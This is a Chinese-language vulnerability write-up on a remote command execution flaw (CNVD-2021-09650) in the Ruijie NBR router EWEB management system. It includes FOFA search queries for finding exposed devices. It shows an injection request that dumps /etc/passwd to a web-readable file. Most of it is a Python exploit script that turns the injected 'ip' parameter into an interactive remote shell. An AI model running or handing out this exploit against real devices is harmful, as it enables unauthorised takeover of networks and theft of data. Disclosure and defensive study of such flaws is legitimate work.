锐捷NBR路由器 EWEB网管系统 远程命令执行漏洞 CNVD-2021-09650

# 锐捷NBR路由器 EWEB网管系统 远程命令执行漏洞 CNVD-2021-09650

## 漏洞描述

锐捷NBR路由器 EWEB网管系统部分接口存在命令注入，导致远程命令执行获取权限

## 漏洞影响

> [!NOTE]
>
> 锐捷NBR路由器 EWEB网管系统

## FOFA

> [!NOTE]
>
> title=”锐捷网络-EWEB网管系统”
>
> icon_hash=”-692947551″

## 漏洞复现

出现漏洞的文件在 **/guest_auth/guestIsUp.php**

“`php

“`

这里看到通过命令拼接的方式构造命令执行，

“`shell
POST /guest_auth/guestIsUp.php
mac=1&ip=127.0.0.1|cat /etc/passwd > test.txt
“`

然后访问页面 **/guest_auth/test.txt** 就可以看到命令执行的结果

## 漏洞利用POC

“`python
import requests
import sys
import random
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
print(‘+——————————————‘)
print(‘+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m’)
print(‘+ \033[34mGithub : https://github.com/PeiQi0 \033[0m’)
print(‘+ \033[34m公众号 : PeiQi文库 \033[0m’)
print(‘+ \033[34mVersion: 锐捷网络-EWEB网管系统 \033[0m’)
print(‘+ \033[36m使用格式: python3 poc.py \033[0m’)
print(‘+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m’)
print(‘+——————————————‘)

def POC_1(target_url):
vuln_url = target_url + “/guest_auth/guestIsUp.php”
headers = {
“User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36”,
“Content-Type”: “application/x-www-form-urlencoded”,
}
data = “mac=1&ip=127.0.0.1| whoami > test_test.txt”
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=vuln_url, headers=headers, data=data,verify=False, timeout=5)
if response.status_code == 200:
print(“\033[32m[o] 目标{}存在漏洞, 执行命令 whoami \033[0m”.format(target_url))
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=target_url + “/guest_auth/test_test.txt”, headers=headers, data=data, verify=False, timeout=5)
print(“\033[32m[o] 响应为： {} \033[0m”.format(response.text))
while True:
cmd = input(“\033[35mCmd >>> \033[0m”)
if cmd == “exit”:
sys.exit(0)
else:
POC_2(target_url, cmd)
else:
print(“\033[31m[x] 目标不存在漏洞 \033[0m”)
sys.exit(0)
except Exception as e:
print(“\033[31m[x] 请求失败 \033[0m”, e)

def POC_2(target_url, cmd):
vuln_url = target_url + “/guest_auth/guestIsUp.php”
headers = {
“User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36”,
“Content-Type”: “application/x-www-form-urlencoded”,
}
data = “mac=1&ip=127.0.0.1| {} > test_test.txt”.format(cmd)
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=vuln_url, headers=headers, data=data,verify=False, timeout=5)
if response.status_code == 200:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=target_url + “/guest_auth/test_test.txt”, headers=headers, data=data,verify=False, timeout=5)
print(“\033[32m[o] 响应为： \n{} \033[0m”.format(response.text))
except Exception as e:
print(“\033[31m[x] 请求失败 \033[0m”, e)

if __name__ == ‘__main__’:
title()
target_url = str(input(“\033[35mPlease input Attack Url\nUrl >>> \033[0m”))
POC_1(target_url)
“`

## Goby & POC

> [!NOTE]
>
> 锐捷NBR路由器 EWEB网管系统 远程命令执行漏洞